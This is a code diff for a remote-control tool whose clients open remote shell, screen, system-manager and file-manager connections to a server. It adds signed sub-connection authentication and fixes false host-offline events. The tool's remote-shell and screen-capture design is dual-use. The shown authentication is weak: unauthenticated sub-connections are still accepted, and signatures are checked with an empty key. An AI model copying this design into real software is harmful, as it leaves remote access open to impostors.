|
}; // 总 512
|
||||||
|
|
||||||
|
// 服务端响应:token + status + serverTime + 预留,固定 256 字节。
|
||||||
|
// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。
|
||||||
|
struct ConnAuthAck {
|
||||||
|
uint8_t token; // = TOKEN_CONN_AUTH(回显,方便客户端 dispatch) [1]
|
||||||
|
uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus) [1]
|
||||||
|
uint64_t serverTime; // 服务端处理时的 Unix 秒 [8]
|
||||||
|
char reserved[246]; // 预留扩展 [246]
|
||||||
|
}; // 总 256
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
// 编译期断言:协议大小不允许被无意改动
|
||||||
|
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
|
||||||
|
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
|
||||||
|
|
||||||
|
enum ConnAuthStatus {
|
||||||
|
CONN_AUTH_OK = 0,
|
||||||
|
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
|
||||||
|
CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围
|
||||||
|
CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配
|
||||||
|
CONN_AUTH_INTERNAL_ERROR = 4,
|
||||||
|
};
|
||||||
|
|
||||||
|
#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟
|
||||||
|
#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时
|
||||||
|
// 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量;
|
||||||
|
// 同机几毫秒就回,正常路径用户感知不到。
|
||||||
|
|
||||||
enum MachineCommand {
|
enum MachineCommand {
|
||||||
MACHINE_LOGOUT,
|
MACHINE_LOGOUT,
|
||||||
MACHINE_SHUTDOWN,
|
MACHINE_SHUTDOWN,
|
||||||
|
|||||||
@@ -347,6 +347,8 @@ void* ShellworkingThread(void* param)
|
|||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
void* clientAddr = ClientObject.get();
|
void* clientAddr = ClientObject.get();
|
||||||
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
|
||||||
|
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||||
@@ -371,6 +373,8 @@ void* ScreenworkingThread(void* param)
|
|||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
void* clientAddr = ClientObject.get();
|
void* clientAddr = ClientObject.get();
|
||||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||||||
|
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||||
@@ -395,6 +399,8 @@ void* SystemManagerThread(void* param)
|
|||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
void* clientAddr = ClientObject.get();
|
void* clientAddr = ClientObject.get();
|
||||||
Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr);
|
Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr);
|
||||||
|
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get()));
|
std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get()));
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||||
@@ -417,6 +423,8 @@ void* FileManagerThread(void* param)
|
|||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
void* clientAddr = ClientObject.get();
|
void* clientAddr = ClientObject.get();
|
||||||
Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr);
|
Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr);
|
||||||
|
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
|
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||||
|
|||||||
@@ -713,6 +713,8 @@ void* ShellworkingThread(void* param)
|
|||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
void* clientAddr = ClientObject.get();
|
void* clientAddr = ClientObject.get();
|
||||||
NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr);
|
NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr);
|
||||||
|
// 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||||
@@ -737,6 +739,8 @@ void* ScreenworkingThread(void* param)
|
|||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
void* clientAddr = ClientObject.get();
|
void* clientAddr = ClientObject.get();
|
||||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||||||
|
// 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||||||
if (!handler->init()) {
|
if (!handler->init()) {
|
||||||
@@ -765,6 +769,8 @@ void* FileManagerworkingThread(void* param)
|
|||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
void* clientAddr = ClientObject.get();
|
void* clientAddr = ClientObject.get();
|
||||||
Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr);
|
||||||
|
// 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
|
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||||
|
|||||||
@@ -5494,6 +5494,53 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case TOKEN_CONN_AUTH: { // 子连接身份校验【L】
|
||||||
|
// 设计取舍:
|
||||||
|
// - 主连接走 TOKEN_LOGIN,不进入此分支。
|
||||||
|
// - 当前阶段宽容:未通过的子连接仍允许后续命令(依靠 IP 反查兜底),
|
||||||
|
// 仅把 IsAuthenticated 标志记下来,便于后续命令优先用。
|
||||||
|
// - 失败时回应 ConnAuthAck 让客户端 fail fast,但不主动断连接
|
||||||
|
// (客户端拒绝继续 = 自己关闭,等价效果,少一次 RST 噪音)。
|
||||||
|
ConnAuthAck ack = {};
|
||||||
|
ack.token = TOKEN_CONN_AUTH;
|
||||||
|
ack.serverTime = (uint64_t)time(0);
|
||||||
|
ack.status = CONN_AUTH_INTERNAL_ERROR;
|
||||||
|
|
||||||
|
if (len < (int)sizeof(ConnAuthPacket)) {
|
||||||
|
ack.status = CONN_AUTH_BAD_SIZE;
|
||||||
|
Mprintf("[ConnAuth] %s: 包长度不足 (%d < %zu)\n",
|
||||||
|
ContextObject->GetPeerName().c_str(), len, sizeof(ConnAuthPacket));
|
||||||
|
} else {
|
||||||
|
const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer;
|
||||||
|
int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp);
|
||||||
|
if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) {
|
||||||
|
ack.status = CONN_AUTH_CLOCK_SKEW;
|
||||||
|
Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n",
|
||||||
|
ContextObject->GetPeerName().c_str(), skew);
|
||||||
|
} else {
|
||||||
|
BYTE sigInput[8 + 8 + 16];
|
||||||
|
memcpy(sigInput, &pkt->clientID, 8);
|
||||||
|
memcpy(sigInput + 8, &pkt->timestamp, 8);
|
||||||
|
memcpy(sigInput + 16, pkt->nonce, 16);
|
||||||
|
bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
|
||||||
|
std::string sig(pkt->signature, pkt->signature + 64);
|
||||||
|
if (verifyMessage("", sigInput, sizeof(sigInput), sig)) {
|
||||||
|
// 通过:把 clientID 钉在子连接 ctx 上
|
||||||
|
ContextObject->SetID(pkt->clientID);
|
||||||
|
ContextObject->SetAuthenticated(true);
|
||||||
|
ack.status = CONN_AUTH_OK;
|
||||||
|
Mprintf("[ConnAuth] %s: clientID=%llu 通过\n",
|
||||||
|
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||||
|
} else {
|
||||||
|
ack.status = CONN_AUTH_BAD_SIGNATURE;
|
||||||
|
Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n",
|
||||||
|
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ContextObject->Send2Client((PBYTE)&ack, sizeof(ack));
|
||||||
|
break;
|
||||||
|
}
|
||||||
case TOKEN_BITMAPINFO: { // 远程桌面【x】
|
case TOKEN_BITMAPINFO: { // 远程桌面【x】
|
||||||
ContextObject->SetNoDelay(TRUE);
|
ContextObject->SetNoDelay(TRUE);
|
||||||
ContextObject->EnableZstdContext(-1);
|
ContextObject->EnableZstdContext(-1);
|
||||||
@@ -5694,17 +5741,17 @@ context* CMy2015RemoteDlg::GetContextByListIndex(int iItem)
|
|||||||
return m_HostList[realIdx];
|
return m_HostList[realIdx];
|
||||||
}
|
}
|
||||||
|
|
||||||
// 从 m_HostList 中移除 context 并更新索引映射
|
// 从 m_HostList 中移除 context 并更新索引映射。
|
||||||
|
//
|
||||||
|
// 重要:MarkDeviceOffline / m_ActiveWndW.erase 等"主机下线"副作用必须**只在
|
||||||
|
// 确实从 m_HostList 移除后**才触发。否则在子连接(auth 通过后 ctx->GetClientID()
|
||||||
|
// 等于主连接 ID)正常断开时,会误把主连接当成下线,造成 Web 端"假下线"和
|
||||||
|
// 活动窗口缓存被清空。
|
||||||
bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
|
bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
|
||||||
{
|
{
|
||||||
if (!ctx) return false;
|
if (!ctx) return false;
|
||||||
uint64_t clientID = ctx->GetClientID();
|
uint64_t clientID = ctx->GetClientID();
|
||||||
// 通知 Web 服务(批量通知,由定时器触发)
|
bool removed = false;
|
||||||
if (WebService().IsRunning()) {
|
|
||||||
WebService().MarkDeviceOffline(clientID);
|
|
||||||
}
|
|
||||||
// 清理"活动窗口"列的宽字符旁路表
|
|
||||||
m_ActiveWndW.erase(clientID);
|
|
||||||
|
|
||||||
// 方案1:通过索引快速查找(如果索引有效且匹配)
|
// 方案1:通过索引快速查找(如果索引有效且匹配)
|
||||||
auto indexIt = m_ClientIndex.find(clientID);
|
auto indexIt = m_ClientIndex.find(clientID);
|
||||||
@@ -5721,29 +5768,40 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
|
|||||||
m_ClientIndex[c->GetClientID()] = i;
|
m_ClientIndex[c->GetClientID()] = i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return true;
|
removed = true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 方案2:索引不存在或不匹配,遍历查找(处理重复 ID 的情况)
|
// 方案2:索引不存在或不匹配,遍历查找(处理重复 ID 的情况)
|
||||||
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
if (!removed) {
|
||||||
if (m_HostList[i] == ctx) {
|
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
||||||
m_HostList.erase(m_HostList.begin() + i);
|
if (m_HostList[i] == ctx) {
|
||||||
// 如果索引指向的是被删除的元素,也删除索引
|
m_HostList.erase(m_HostList.begin() + i);
|
||||||
if (indexIt != m_ClientIndex.end() && indexIt->second == i) {
|
// 如果索引指向的是被删除的元素,也删除索引
|
||||||
m_ClientIndex.erase(indexIt);
|
if (indexIt != m_ClientIndex.end() && indexIt->second == i) {
|
||||||
}
|
m_ClientIndex.erase(indexIt);
|
||||||
// 更新后续元素的索引
|
|
||||||
for (size_t j = i; j < m_HostList.size(); ++j) {
|
|
||||||
context* c = m_HostList[j];
|
|
||||||
if (c) {
|
|
||||||
m_ClientIndex[c->GetClientID()] = j;
|
|
||||||
}
|
}
|
||||||
|
// 更新后续元素的索引
|
||||||
|
for (size_t j = i; j < m_HostList.size(); ++j) {
|
||||||
|
context* c = m_HostList[j];
|
||||||
|
if (c) {
|
||||||
|
m_ClientIndex[c->GetClientID()] = j;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
removed = true;
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return true;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return false;
|
|
||||||
|
// 副作用:仅在主连接真的从列表中移除时才触发,避免子连接断开误伤主连接的状态。
|
||||||
|
if (removed) {
|
||||||
|
if (WebService().IsRunning()) {
|
||||||
|
WebService().MarkDeviceOffline(clientID);
|
||||||
|
}
|
||||||
|
m_ActiveWndW.erase(clientID);
|
||||||
|
}
|
||||||
|
return removed;
|
||||||
}
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||||
|
|||||||
@@ -30,17 +30,15 @@ CString CFileManagerDlg::s_strLocalHistoryPath;
|
|||||||
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
|
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
|
||||||
CLock CFileManagerDlg::s_lockHistory;
|
CLock CFileManagerDlg::s_lockHistory;
|
||||||
|
|
||||||
// 获取有效的客户端ID:优先用 m_ClientID,否则通过 IP 找主连接
|
// 获取有效的客户端ID:基类已经覆盖 m_ClientID + ctx->GetClientID()(含 auth 后钉的值),
|
||||||
|
// 这里仅在它们都拿不到时(老客户端没走 auth)通过 IP 反查主连接做兜底。
|
||||||
uint64_t CFileManagerDlg::GetClientID() const
|
uint64_t CFileManagerDlg::GetClientID() const
|
||||||
{
|
{
|
||||||
// 优先使用已设置的 m_ClientID(未来 TOKEN_CLIENTID 会设置这个)
|
uint64_t id = CDialogBase::GetClientID();
|
||||||
if (m_ClientID != 0) {
|
if (id != 0) return id;
|
||||||
return m_ClientID;
|
// 老客户端兜底:通过 IP 找主连接获取 ClientID(线程安全)
|
||||||
}
|
|
||||||
// 回退:通过 IP 找主连接获取 ClientID(线程安全)
|
|
||||||
if (g_2015RemoteDlg && m_ContextObject) {
|
if (g_2015RemoteDlg && m_ContextObject) {
|
||||||
std::string peerIP = m_ContextObject->GetPeerName();
|
return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName());
|
||||||
return g_2015RemoteDlg->FindClientIDByIP(peerIP);
|
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -229,7 +229,11 @@ public:
|
|||||||
return m_bIsClosed;
|
return m_bIsClosed;
|
||||||
}
|
}
|
||||||
virtual uint64_t GetClientID() const {
|
virtual uint64_t GetClientID() const {
|
||||||
return m_ClientID;
|
// 优先用 UpdateContext 设过的 m_ClientID(重连场景),否则取子连接 ctx 自身的 ID。
|
||||||
|
// 子连接通过 TOKEN_CONN_AUTH 通过校验后,ctx->GetClientID() 已被钉成主连接的 clientID,
|
||||||
|
// 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底(NAT/127.0.0.1 场景靠谱)。
|
||||||
|
if (m_ClientID != 0) return m_ClientID;
|
||||||
|
return m_ContextObject ? m_ContextObject->GetClientID() : 0;
|
||||||
}
|
}
|
||||||
BOOL SayByeBye()
|
BOOL SayByeBye()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -378,6 +378,11 @@ public:
|
|||||||
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
|
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
|
||||||
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
|
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
|
||||||
|
|
||||||
|
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
|
||||||
|
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
|
||||||
|
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
|
||||||
|
std::atomic<bool> m_bAuthenticated{false};
|
||||||
|
|
||||||
// 预分配的解压缩缓冲区,避免频繁内存分配
|
// 预分配的解压缩缓冲区,避免频繁内存分配
|
||||||
PBYTE DecompressBuffer = nullptr;
|
PBYTE DecompressBuffer = nullptr;
|
||||||
ULONG DecompressBufferSize = 0;
|
ULONG DecompressBufferSize = 0;
|
||||||
@@ -510,7 +515,11 @@ public:
|
|||||||
// 注意:到达这里时,RemoveStaleContext 应该已经等待 IoRefCount==0
|
// 注意:到达这里时,RemoveStaleContext 应该已经等待 IoRefCount==0
|
||||||
IsRemoved.store(false, std::memory_order_release);
|
IsRemoved.store(false, std::memory_order_release);
|
||||||
IoRefCount.store(0, std::memory_order_release);
|
IoRefCount.store(0, std::memory_order_release);
|
||||||
|
// 复用对象池时清空校验状态
|
||||||
|
m_bAuthenticated.store(false, std::memory_order_release);
|
||||||
}
|
}
|
||||||
|
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
|
||||||
|
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
|
||||||
uint64_t GetAliveTime()const
|
uint64_t GetAliveTime()const
|
||||||
{
|
{
|
||||||
return time(0) - OnlineTime;
|
return time(0) - OnlineTime;
|
||||||
|
|||||||
Reference in New Issue
Block a user